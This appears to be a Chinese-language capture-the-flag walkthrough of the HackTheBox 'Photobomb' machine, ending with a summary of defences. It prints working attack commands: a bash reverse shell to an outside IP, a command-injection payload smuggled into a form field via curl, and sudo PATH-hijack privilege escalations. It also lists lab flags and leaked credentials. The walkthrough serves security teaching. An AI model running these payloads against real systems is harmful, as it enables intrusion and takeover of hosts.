[Meachines] [Easy] Photobomb Js凭据泄露RCE+SETENV路径劫持+built-in(内建命令)劫持
字数 881 2025-08-29 08:30:30
Photobomb靶机渗透测试教学文档
1. 信息收集阶段
1.1 主机发现与端口扫描
ip='10.10.11.182'
itf='tun0'
# 使用nmap进行主机存活检测
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"
# 使用masscan进行快速端口扫描
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//')
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"
# 使用nmap进行详细服务扫描
nmap -Pn -sV -sC -p "$ports" "$ip"
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m"
fi
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"
fi
扫描结果:
- 22/tcp: OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
- 80/tcp: nginx 1.18.0 (Ubuntu)
1.2 Web服务枚举
- 添加hosts记录:
echo '10.10.11.182 photobomb.htb' >> /etc/hosts
-
访问网站:http://photobomb.htb/
-
查看JS源码发现凭据泄露:
// view-source:http://photobomb.htb/photobomb.js
username: pH0t0
password: b0Mb!
2. 初始访问 - 命令注入漏洞利用
2.1 准备反向Shell
# 编码反向Shell命令
echo -n '/bin/bash -i >& /dev/tcp/10.10.16.31/443 0>&1' | base64
2.2 利用打印机API执行命令
curl 'http://pH0t0:b0Mb!@photobomb.htb/printer' \
-d 'photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg;rm /tmp/f;echo+L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjMxLzQ0MyAwPiYx|base64+-d|bash&dimensions=3000x2000'
3. 权限提升 - SETENV路径劫持
3.1 发现特权脚本
发现/opt/cleanup.sh脚本可能以root权限运行
3.2 利用SETENV权限
- 创建恶意find命令:
echo -e '#!/bin/bash\n/bin/bash'>/tmp/find
chmod +x /tmp/find
- 利用PATH环境变量注入:
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh
4. 权限提升 - 内建命令劫持
4.1 分析bashrc差异
diff /etc/bash.bashrc /opt/.bashrc
发现/opt/.bashrc禁用了[内建命令
4.2 劫持内建命令
- 创建恶意
[命令:
echo -e '#!/bin/bash\n/bin/bash'>/tmp/[
chmod +x /tmp/[
- 再次利用PATH注入:
sudo -u root PATH=/tmp:$PATH /opt/cleanup.sh
5. 获取Flag
- 用户Flag:795c713ef76ed21f2748a1b96a83986c
- Root Flag:c25100ccbba46eaf57b57a61af95abc7
关键知识点总结
-
JS凭据泄露:前端JavaScript代码中硬编码的凭据是常见的安全问题
-
命令注入:
- 通过不安全的参数传递导致命令注入
- 使用base64编码绕过可能的过滤
- 通过curl的-d参数传递恶意命令
-
SETENV路径劫持:
- 当sudo配置允许SETENV时,可以注入环境变量
- 通过PATH变量前置自定义路径来劫持命令
- 注意sudo默认使用secure_path,但SETENV可以覆盖
-
内建命令劫持:
- bash的内建命令如
[可以被同名可执行文件覆盖 - 当脚本禁用内建命令后,会寻找PATH中的可执行文件
- 这是一种不常见的提权方式,需要特定环境配置
- bash的内建命令如
-
防御措施:
- 避免在客户端代码中存储凭据
- 对用户输入进行严格过滤和验证
- 限制sudo的SETENV权限
- 在脚本中使用命令的完整路径
- 谨慎处理环境变量